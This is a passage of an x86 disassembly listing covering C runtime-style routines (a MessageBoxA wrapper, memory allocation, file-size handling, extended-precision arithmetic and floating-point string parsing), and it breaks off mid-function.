sub_41E6AC	proc near		; CODE XREF: sub_41C7C2+2Bp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_41E6BD
		add	esp, 0Ch
		retn
sub_41E6AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E6BD	proc near		; CODE XREF: sub_41E6AC+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_46AA01[eax], cl
		jnz	short loc_41E6EA
		cmp	[esp+arg_4], 0
		jz	short loc_41E6E3
		movzx	eax, word_437D9A[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_41E6E5
; ---------------------------------------------------------------------------

loc_41E6E3:				; CODE XREF: sub_41E6BD+16j
		xor	eax, eax

loc_41E6E5:				; CODE XREF: sub_41E6BD+24j
		test	eax, eax
		jnz	short loc_41E6EA
		retn
; ---------------------------------------------------------------------------

loc_41E6EA:				; CODE XREF: sub_41E6BD+Fj
					; sub_41E6BD+2Aj
		push	1
		pop	eax
		retn
sub_41E6BD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E6EE	proc near		; CODE XREF: sub_41CF19+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_469774, ebx
		push	esi
		push	edi
		jnz	short loc_41E73D
		push	offset aUser32_dll ; "user32.dll"
		call	dword_4210C0
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_41E773
		mov	esi, dword_4210C4
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi
		test	eax, eax
		mov	dword_469774, eax
		jz	short loc_41E773
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_469778, eax
		call	esi
		mov	dword_46977C, eax

loc_41E73D:				; CODE XREF: sub_41E6EE+Bj
		mov	eax, dword_469778
		test	eax, eax
		jz	short loc_41E75C
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_41E75C
		mov	eax, dword_46977C
		test	eax, eax
		jz	short loc_41E75C
		push	ebx
		call	eax
		mov	ebx, eax

loc_41E75C:				; CODE XREF: sub_41E6EE+56j
					; sub_41E6EE+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_469774

loc_41E76F:				; CODE XREF: sub_41E6EE+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_41E773:				; CODE XREF: sub_41E6EE+1Cj
					; sub_41E6EE+33j
		xor	eax, eax
		jmp	short loc_41E76F
sub_41E6EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E777	proc near		; CODE XREF: sub_41D0D6+22p
					; sub_41D0D6+3Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		imul	esi, [esp+0Ch+arg_4]
		cmp	esi, 0FFFFFFE0h
		mov	ebx, esi
		ja	short loc_41E797
		test	esi, esi
		jnz	short loc_41E791
		push	1
		pop	esi

loc_41E791:				; CODE XREF: sub_41E777+15j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h

loc_41E797:				; CODE XREF: sub_41E777+11j
					; sub_41E777+65j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41E7C8
		cmp	ebx, dword_437FAC
		ja	short loc_41E7B3
		push	ebx
		call	sub_418E53
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_41E7DE

loc_41E7B3:				; CODE XREF: sub_41E777+2Dj
		push	esi
		push	8
		push	dword_46AB20
		call	dword_42114C
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41E7EA

loc_41E7C8:				; CODE XREF: sub_41E777+25j
		cmp	dword_469514, 0
		jz	short loc_41E7EA
		push	esi
		call	sub_418A68
		test	eax, eax
		pop	ecx
		jz	short loc_41E7F0
		jmp	short loc_41E797
; ---------------------------------------------------------------------------

loc_41E7DE:				; CODE XREF: sub_41E777+3Aj
		push	ebx
		push	0
		push	edi
		call	sub_415570
		add	esp, 0Ch

loc_41E7EA:				; CODE XREF: sub_41E777+4Fj
					; sub_41E777+58j
		mov	eax, edi

loc_41E7EC:				; CODE XREF: sub_41E777+7Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_41E7F0:				; CODE XREF: sub_41E777+63j
		xor	eax, eax
		jmp	short loc_41E7EC
sub_41E777	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41D17B

loc_41E7F4:				; CODE XREF: sub_41D17B+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_46A7C0, esi
		jle	short loc_41E847

loc_41E803:				; CODE XREF: sub_41D17B+16CAj
		mov	eax, dword_4697A0
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41E83E
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_41E822
		push	eax
		call	sub_415B40
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41E822
		inc	edi

loc_41E822:				; CODE XREF: sub_41D17B+1698j
					; sub_41D17B+16A4j
		cmp	esi, 14h
		jl	short loc_41E83E
		mov	eax, dword_4697A0
		push	dword ptr [eax+esi*4]
		call	sub_415E3D
		mov	eax, dword_4697A0
		pop	ecx
		and	dword ptr [eax+esi*4], 0

loc_41E83E:				; CODE XREF: sub_41D17B+1692j
					; sub_41D17B+16AAj
		inc	esi
		cmp	esi, dword_46A7C0
		jl	short loc_41E803

loc_41E847:				; CODE XREF: sub_41D17B+1686j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_41D17B

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E84C	proc near		; CODE XREF: sub_41D55A+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_415D70
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_46A8E0
		jnb	loc_41E981
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_46A7E0[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_41E981
		push	1
		push	esi
		push	ebx
		call	sub_41BB7F
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_41E98B
		push	2
		push	esi
		push	ebx
		call	sub_41BB7F
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_41E98B
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41E92E
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_415570
		push	8000h
		push	ebx
		call	sub_41F486
		add	esp, 14h
		mov	[ebp+arg_4], eax

loc_41E8E2:				; CODE XREF: sub_41E84C+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_41E8ED
		mov	eax, edi

loc_41E8ED:				; CODE XREF: sub_41E84C+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_41C42A
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41E90B
		sub	edi, eax
		test	edi, edi
		jle	short loc_41E921
		jmp	short loc_41E8E2
; ---------------------------------------------------------------------------

loc_41E90B:				; CODE XREF: sub_41E84C+B5j
		cmp	dword_4694B8, 5
		jnz	short loc_41E91E
		mov	dword_4694B4, 0Dh

loc_41E91E:				; CODE XREF: sub_41E84C+C6j
		or	esi, 0FFFFFFFFh

loc_41E921:				; CODE XREF: sub_41E84C+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_41F486
		pop	ecx
		pop	ecx
		jmp	short loc_41E96E
; ---------------------------------------------------------------------------

loc_41E92E:				; CODE XREF: sub_41E84C+71j
		jge	short loc_41E96E
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_41BB7F
		push	ebx
		call	sub_41D4C6
		add	esp, 10h
		push	eax
		call	dword_421010
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41E96E
		mov	dword_4694B4, 0Dh
		call	dword_421088
		mov	dword_4694B8, eax

loc_41E96E:				; CODE XREF: sub_41E84C+E0j
					; sub_41E84C:loc_41E92Ej ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_41BB7F
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_41E98E
; ---------------------------------------------------------------------------

loc_41E981:				; CODE XREF: sub_41E84C+1Aj
					; sub_41E84C+36j
		mov	dword_4694B4, 9

loc_41E98B:				; CODE XREF: sub_41E84C+4Ej
					; sub_41E84C+63j
		or	eax, 0FFFFFFFFh

loc_41E98E:				; CODE XREF: sub_41E84C+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_41E84C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E992	proc near		; CODE XREF: sub_41D9C5+2Bp
					; sub_41D9C5+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_41E9A8
		cmp	ecx, esi
		jnb	short loc_41E9AB

loc_41E9A8:				; CODE XREF: sub_41E992+10j
		push	1
		pop	eax

loc_41E9AB:				; CODE XREF: sub_41E992+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_41E992	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E9B3	proc near		; CODE XREF: sub_41EA6C+40p
					; sub_41EA6C+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_41E992
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41E9E5
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_41E992
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41E9E5
		inc	dword ptr [esi+8]

loc_41E9E5:				; CODE XREF: sub_41E9B3+19j
					; sub_41E9B3+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_41E992
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41E9FD
		inc	dword ptr [esi+8]

loc_41E9FD:				; CODE XREF: sub_41E9B3+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_41E992
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_41E9B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EA11	proc near		; CODE XREF: sub_41EA6C+30p
					; sub_41EA6C+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_41EA11	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EA3F	proc near		; CODE XREF: sub_41F004+1C8p
					; sub_41F4FC+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_41EA3F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EA6C	proc near		; CODE XREF: sub_41EB33+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_41EAE0
		push	edi
		mov	[ebp+arg_8], eax

loc_41EA93:				; CODE XREF: sub_41EA6C+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_41EA11
		push	ebx
		call	sub_41EA11
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_41E9B3
		push	ebx
		call	sub_41EA11
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_41E9B3
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_41EA93
		xor	edx, edx
		pop	edi

loc_41EAE0:				; CODE XREF: sub_41EA6C+21j
					; sub_41EA6C+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_41EB0D
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_41EAE0
; ---------------------------------------------------------------------------

loc_41EB0D:				; CODE XREF: sub_41EA6C+77j
		mov	esi, 8000h

loc_41EB12:				; CODE XREF: sub_41EA6C+B9j
		test	[ebx+8], esi
		jnz	short loc_41EB27
		push	ebx
		call	sub_41EA11
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_41EB12
; ---------------------------------------------------------------------------

loc_41EB27:				; CODE XREF: sub_41EA6C+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_41EA6C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EB33	proc near		; CODE XREF: sub_41DD0E+17p
					; sub_41DD3B+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi

loc_41EB6E:				; CODE XREF: sub_41EB33+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_41EB84
		cmp	cl, 9
		jz	short loc_41EB84
		cmp	cl, 0Ah
		jz	short loc_41EB84
		cmp	cl, 0Dh
		jnz	short loc_41EB87

loc_41EB84:				; CODE XREF: sub_41EB33+40j
					; sub_41EB33+45j ...
		inc	edi
		jmp	short loc_41EB6E
; ---------------------------------------------------------------------------

loc_41EB87:				; CODE XREF: sub_41EB33+4Fj
		push	4
		pop	esi

loc_41EB8A:				; CODE XREF: sub_41EB33+AEj
					; sub_41EB33+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_41EE0D	; default
					; jumptable 0041EB96 case 10
		jmp	off_41EFD4[eax*4] ; switch jump

loc_41EB9D:				; DATA XREF: .nsp0:off_41EFD4o
		cmp	bl, 31h		; jumptable 0041EB96 case 0
		jl	short loc_41EBAE
		cmp	bl, 39h
		jg	short loc_41EBAE

loc_41EBA7:				; CODE XREF: sub_41EB33+C4j
					; sub_41EB33+118j
		push	3
		jmp	loc_41EDCB
; ---------------------------------------------------------------------------

loc_41EBAE:				; CODE XREF: sub_41EB33+6Dj
					; sub_41EB33+72j
		cmp	bl, byte_437FA0
		jnz	short loc_41EBBD

loc_41EBB6:				; CODE XREF: sub_41EB33+124j
		push	5
		jmp	loc_41EE03
; ---------------------------------------------------------------------------

loc_41EBBD:				; CODE XREF: sub_41EB33+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_41EBE3
		dec	eax
		dec	eax
		jz	short loc_41EBD7
		sub	eax, 3
		jnz	loc_41EEA6
		jmp	loc_41EC66
; ---------------------------------------------------------------------------

loc_41EBD7:				; CODE XREF: sub_41EB33+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_41EB8A
; ---------------------------------------------------------------------------

loc_41EBE3:				; CODE XREF: sub_41EB33+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_41EB8A
; ---------------------------------------------------------------------------

loc_41EBEC:				; CODE XREF: sub_41EB33+63j
					; DATA XREF: .nsp0:off_41EFD4o
		cmp	bl, 31h		; jumptable 0041EB96 case 1
		mov	[ebp+var_10], edx
		jl	short loc_41EBF9
		cmp	bl, 39h
		jle	short loc_41EBA7

loc_41EBF9:				; CODE XREF: sub_41EB33+BFj
		cmp	bl, byte_437FA0
		jz	loc_41ECC1
		cmp	bl, 2Bh
		jz	short loc_41EC3B
		cmp	bl, 2Dh
		jz	short loc_41EC3B
		cmp	bl, 30h
		jz	short loc_41EC66

loc_41EC14:				; CODE XREF: sub_41EB33+207j
		cmp	bl, 43h
		jle	loc_41EEA6
		cmp	bl, 45h
		jle	short loc_41EC34
		cmp	bl, 63h
		jle	loc_41EEA6
		cmp	bl, 65h
		jg	loc_41EEA6

loc_41EC34:				; CODE XREF: sub_41EB33+EDj
		push	6
		jmp	loc_41EE03
; ---------------------------------------------------------------------------

loc_41EC3B:				; CODE XREF: sub_41EB33+D5j
					; sub_41EB33+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_41EE03
; ---------------------------------------------------------------------------

loc_41EC43:				; CODE XREF: sub_41EB33+63j
					; DATA XREF: .nsp0:off_41EFD4o
		cmp	bl, 31h		; jumptable 0041EB96 case 2
		jl	short loc_41EC51
		cmp	bl, 39h
		jle	loc_41EBA7

loc_41EC51:				; CODE XREF: sub_41EB33+113j
		cmp	bl, byte_437FA0
		jz	loc_41EBB6
		cmp	bl, 30h
		jnz	loc_41EE1B

loc_41EC66:				; CODE XREF: sub_41EB33+9Fj
					; sub_41EB33+DFj
		mov	eax, edx
		jmp	loc_41EB8A
; ---------------------------------------------------------------------------

loc_41EC6D:				; CODE XREF: sub_41EB33+63j
					; DATA XREF: .nsp0:off_41EFD4o
		mov	[ebp+var_10], edx ; jumptable 0041EB96 case 3

loc_41EC70:				; CODE XREF: sub_41EB33+184j
		cmp	dword_437F9C, edx
		jle	short loc_41EC89
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_418556
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_41EC97
; ---------------------------------------------------------------------------

loc_41EC89:				; CODE XREF: sub_41EB33+143j
		mov	ecx, off_437D90
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi

loc_41EC97:				; CODE XREF: sub_41EB33+154j
		test	eax, eax
		jz	short loc_41ECB9
		cmp	[ebp+var_4], 19h
		jnb	short loc_41ECB1
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_41ECB4
; ---------------------------------------------------------------------------

loc_41ECB1:				; CODE XREF: sub_41EB33+16Cj
		inc	[ebp+var_8]

loc_41ECB4:				; CODE XREF: sub_41EB33+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41EC70
; ---------------------------------------------------------------------------

loc_41ECB9:				; CODE XREF: sub_41EB33+166j
		cmp	bl, byte_437FA0
		jnz	short loc_41ED28

loc_41ECC1:				; CODE XREF: sub_41EB33+CCj
		mov	eax, esi
		jmp	loc_41EB8A
; ---------------------------------------------------------------------------

loc_41ECC8:				; CODE XREF: sub_41EB33+63j
					; DATA XREF: .nsp0:off_41EFD4o
		cmp	[ebp+var_4], 0	; jumptable 0041EB96 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_41ECE1

loc_41ECD4:				; CODE XREF: sub_41EB33+1ACj
		cmp	bl, 30h
		jnz	short loc_41ECE1
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41ECD4
; ---------------------------------------------------------------------------

loc_41ECE1:				; CODE XREF: sub_41EB33+19Fj
					; sub_41EB33+1A4j ...
		cmp	dword_437F9C, edx
		jle	short loc_41ECFA
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_418556
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_41ED08
; ---------------------------------------------------------------------------

loc_41ECFA:				; CODE XREF: sub_41EB33+1B4j
		mov	ecx, off_437D90
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi

loc_41ED08:				; CODE XREF: sub_41EB33+1C5j
		test	eax, eax
		jz	short loc_41ED28
		cmp	[ebp+var_4], 19h
		jnb	short loc_41ED23
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl

loc_41ED23:				; CODE XREF: sub_41EB33+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41ECE1
; ---------------------------------------------------------------------------

loc_41ED28:				; CODE XREF: sub_41EB33+18Cj
					; sub_41EB33+1D7j
		cmp	bl, 2Bh
		jz	loc_41EC3B
		cmp	bl, 2Dh
		jz	loc_41EC3B
		jmp	loc_41EC14
; ---------------------------------------------------------------------------

loc_41ED3F:				; CODE XREF: sub_41EB33+63j
					; DATA XREF: .nsp0:off_41EFD4o
		cmp	dword_437F9C, edx ; jumptable 0041EB96 case 5
		mov	[ebp+var_24], edx
		jle	short loc_41ED5B
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_418556
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_41ED69
; ---------------------------------------------------------------------------

loc_41ED5B:				; CODE XREF: sub_41EB33+215j
		mov	ecx, off_437D90
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi

loc_41ED69:				; CODE XREF: sub_41EB33+226j
		test	eax, eax
		jz	loc_41EE1B
		mov	eax, esi
		jmp	short loc_41EDCC
; ---------------------------------------------------------------------------

loc_41ED75:				; CODE XREF: sub_41EB33+63j
					; DATA XREF: .nsp0:off_41EFD4o
		lea	ecx, [edi-2]	; jumptable 0041EB96 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_41ED85
		cmp	bl, 39h
		jle	short loc_41EDC9

loc_41ED85:				; CODE XREF: sub_41EB33+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_41EE01
		dec	eax
		dec	eax
		jz	short loc_41EDF5
		sub	eax, 3
		jnz	loc_41EEA9

loc_41ED9A:				; CODE XREF: sub_41EB33+2A4j
		push	8
		jmp	short loc_41EE03
; ---------------------------------------------------------------------------

loc_41ED9E:				; CODE XREF: sub_41EB33+63j
					; DATA XREF: .nsp0:off_41EFD4o
		mov	[ebp+var_20], edx ; jumptable 0041EB96 case 8

loc_41EDA1:				; CODE XREF: sub_41EB33+276j
		cmp	bl, 30h
		jnz	short loc_41EDAB
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41EDA1
; ---------------------------------------------------------------------------

loc_41EDAB:				; CODE XREF: sub_41EB33+271j
		cmp	bl, 31h
		jl	loc_41EEA6
		cmp	bl, 39h
		jg	loc_41EEA6
		jmp	short loc_41EDC9
; ---------------------------------------------------------------------------

loc_41EDBF:				; CODE XREF: sub_41EB33+63j
					; DATA XREF: .nsp0:off_41EFD4o
		cmp	bl, 31h		; jumptable 0041EB96 case 7
		jl	short loc_41EDD2
		cmp	bl, 39h
		jg	short loc_41EDD2

loc_41EDC9:				; CODE XREF: sub_41EB33+250j
					; sub_41EB33+28Aj
		push	9

loc_41EDCB:				; CODE XREF: sub_41EB33+76j
		pop	eax

loc_41EDCC:				; CODE XREF: sub_41EB33+240j
		dec	edi
		jmp	loc_41EB8A
; ---------------------------------------------------------------------------

loc_41EDD2:				; CODE XREF: sub_41EB33+28Fj
					; sub_41EB33+294j
		cmp	bl, 30h
		jnz	short loc_41EE1B
		jmp	short loc_41ED9A
; ---------------------------------------------------------------------------

loc_41EDD9:				; CODE XREF: sub_41EB33+63j
					; DATA XREF: .nsp0:off_41EFD4o
		cmp	[ebp+arg_18], 0	; jumptable 0041EB96 case 11
		jz	short loc_41EE09
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_41EE01
		dec	eax
		dec	eax
		jnz	loc_41EEA9

loc_41EDF5:				; CODE XREF: sub_41EB33+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_41EB8A
; ---------------------------------------------------------------------------

loc_41EE01:				; CODE XREF: sub_41EB33+258j
					; sub_41EB33+2B8j
		push	7

loc_41EE03:				; CODE XREF: sub_41EB33+85j
					; sub_41EB33+103j ...
		pop	eax
		jmp	loc_41EB8A
; ---------------------------------------------------------------------------

loc_41EE09:				; CODE XREF: sub_41EB33+2AAj
		push	0Ah
		dec	edi
		pop	eax

loc_41EE0D:				; CODE XREF: sub_41EB33+5Dj
					; sub_41EB33+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 0041EB96 case 10
		jz	loc_41EEAB
		jmp	loc_41EB8A
; ---------------------------------------------------------------------------

loc_41EE1B:				; CODE XREF: sub_41EB33+12Dj
					; sub_41EB33+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_41EEAB
; ---------------------------------------------------------------------------

loc_41EE23:				; CODE XREF: sub_41EB33+63j
					; DATA XREF: .nsp0:off_41EFD4o
		mov	[ebp+var_20], 1	; jumptable 0041EB96 case 9
		xor	esi, esi

loc_41EE2C:				; CODE XREF: sub_41EB33+339j
		cmp	dword_437F9C, 1
		jle	short loc_41EE44
		movzx	eax, bl
		push	4
		push	eax
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_41EE53
; ---------------------------------------------------------------------------

loc_41EE44:				; CODE XREF: sub_41EB33+300j
		mov	ecx, off_437D90
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_41EE53:				; CODE XREF: sub_41EB33+30Fj
		test	eax, eax
		jz	short loc_41EE73
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_41EE6E
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41EE2C
; ---------------------------------------------------------------------------

loc_41EE6E:				; CODE XREF: sub_41EB33+334j
		mov	esi, 1451h

loc_41EE73:				; CODE XREF: sub_41EB33+322j
		mov	[ebp+var_1C], esi

loc_41EE76:				; CODE XREF: sub_41EB33+371j
		cmp	dword_437F9C, 1
		jle	short loc_41EE8E
		movzx	eax, bl
		push	4
		push	eax
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_41EE9D
; ---------------------------------------------------------------------------

loc_41EE8E:				; CODE XREF: sub_41EB33+34Aj
		mov	ecx, off_437D90
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_41EE9D:				; CODE XREF: sub_41EB33+359j
		test	eax, eax
		jz	short loc_41EEA6
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41EE76
; ---------------------------------------------------------------------------

loc_41EEA6:				; CODE XREF: sub_41EB33+99j
					; sub_41EB33+E4j ...
		dec	edi
		jmp	short loc_41EEAB
; ---------------------------------------------------------------------------

